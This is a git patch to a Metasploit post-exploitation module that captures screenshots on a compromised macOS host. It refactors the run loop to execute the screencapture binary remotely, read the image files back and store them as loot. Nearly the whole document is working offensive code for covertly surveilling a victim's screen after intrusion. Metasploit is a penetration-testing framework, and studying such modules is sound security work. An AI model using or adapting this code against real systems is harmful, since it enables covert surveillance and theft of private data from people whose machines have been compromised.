From 92da6760ef4d742a60e5cb02be1c0aaffeb7e233 Mon Sep 17 00:00:00 2001
From: Peter Toth <peter.toth@sucaba.eu>
Date: Wed, 13 Nov 2013 13:30:20 +0100
Subject: [PATCH] Modified module to use windows/screen_spy code

---
 modules/post/osx/gather/screen_capture.rb | 80 ++++++++---------------
 1 file changed, 26 insertions(+), 54 deletions(-)

diff --git a/modules/post/osx/gather/screen_capture.rb b/modules/post/osx/gather/screen_capture.rb
index 2369d96461..f2b77a50c9 100644
--- a/modules/post/osx/gather/screen_capture.rb
+++ b/modules/post/osx/gather/screen_capture.rb
@@ -32,7 +32,7 @@ class Metasploit3 < Msf::Post
           [true, 'File format to use when saving a snapshot', 'png', %w(png gif)]
         ),
         OptInt.new('DELAY', [true, 'Interval between screenshots in seconds. 0 for no delay', 10]),
-        OptInt.new('COUNT', [true, 'Number of screenshots to collect. 0 for no count', 1]),
+        OptInt.new('COUNT', [true, 'Number of screenshots to collect.', 1]),
         OptString.new('TMP_PATH', [true, 'Path to remote temp directory', '/tmp/random']),
         OptString.new('EXE_PATH', [true, 'Path to remote screencapture executable', '/usr/sbin/screencapture'])
       ], self.class)
@@ -40,71 +40,43 @@ class Metasploit3 < Msf::Post
   end
 
   def run
+    host = session.session_host
+    screenshot = Msf::Config.get_config_root + "/logs/" + host + ".jpg"
+    file_type = datastore['FILETYPE'].shellescape
     tmp_path = datastore['TMP_PATH'].shellescape.gsub('random', Rex::Text.rand_text_alpha(8))
-    execute("Create remote temp dir: ", "mkdir -p #{tmp_path}")
-    if datastore['COUNT'] == nil
-      count = 1
-    else
+
+    begin
       count = datastore['COUNT']
-    end
-    if count == 0
-      begin
-        get_screenshot("Screenshot", tmp_path, "screenshot.#{datastore['FILETYPE'].shellescape}")
-        delay
-      end until false
-    else
       print_status "Capturing #{count} screenshots with a delay of #{datastore['DELAY']} seconds"
       # calculate a sane number of leading zeros to use.  log of x  is ~ the number of digits
       leading_zeros = Math::log10(count).round
+      file_locations = []
       count.times do |num|
-        if count == 1
-          msg = "Screenshot"
-        else
-          msg = "Screenshot %0#{leading_zeros}d/#{count}" % (num+1)
+        select(nil, nil, nil, datastore['DELAY'])
+        begin
+          # This is an OSX module, so mkdir -p should be fine
+          cmd_exec("mkdir -p #{tmp_path}")
+          filename = Rex::Text.rand_text_alpha(7)
+          file = tmp_path + "/" + filename
+          cmd_exec(datastore['EXE_PATH'].shellescape + " -C -t " + datastore['FILETYPE'].shellescape + " " + file)
+          data = read_file(file)
+        rescue RequestError => e
+          print_error("Error taking the screenshot: #{e.class} #{e} #{e.backtrace}")
+          return false
+        end
+        if data
+          # let's loot it using non-clobbering filename, even tho this is the source filename, not dest
+          fn = "screenshot.%0#{leading_zeros}d.#{file_type}" % num
+          file_locations << store_loot("screen_capture.screenshot", "image/#{file_type}", session, data, fn, "Screenshot")
         end
-        get_screenshot(msg, tmp_path, "screenshot_%0#{leading_zeros}d.#{datastore['FILETYPE'].shellescape}" % (num+1))
-        delay unless ((num+1) == count)
       end
     rescue IOError, Errno::ENOENT => e
       print_error("Error storing screenshot: #{e.class} #{e} #{e.backtrace}")
       return
     end
-    execute("Remove remote temp dir: ", "rmdir " + tmp_path)
-  end
-
-  def get_screenshot(msg, tmp_path, local_filename)
-    filename = Rex::Text.rand_text_alpha(7) + "." + datastore['FILETYPE'].shellescape
-    file = tmp_path + "/" + filename
-
-    execute("Save screenshot to remote temp folder:", datastore['EXE_PATH'].shellescape + " -C -t " + datastore['FILETYPE'].shellescape + " " + file)
-    data = cat_file(file)
-    loot_file = save(msg, data, local_filename)
-    execute("Remove remote temp file:", "rm " + file)
-  end
-
-  def delay
-    if datastore['DELAY'] != nil && datastore['DELAY'] != 0
-      vprint_status("Delaying for " + datastore['DELAY'].to_s() + " seconds")
-      Rex.sleep(datastore['DELAY'])
+    print_status("Screen Capturing Complete")
+    if file_locations and not file_locations.empty?
+      print_status "run loot -t screen_capture.screenshot to see file locations of your newly acquired loot"
     end
   end
-
-  def save(msg, data, filename, ctype="image/" + datastore['FILETYPE'])
-    ltype = "osx.screenshot"
-    loot_file = store_loot(ltype, ctype, session, data, filename, 'Screenshot')
-    print_good("#{msg} stored in #{loot_file.to_s}")
-  end
-
-  def execute(msg, cmd)
-    vprint_status("#{msg} #{cmd}")
-    output = cmd_exec(cmd)
-    return output
-  end
-
-  def cat_file(filename)
-    vprint_status("Downloading screenshot: #{filename}")
-    data = read_file(filename)
-    return data
-  end
-
 end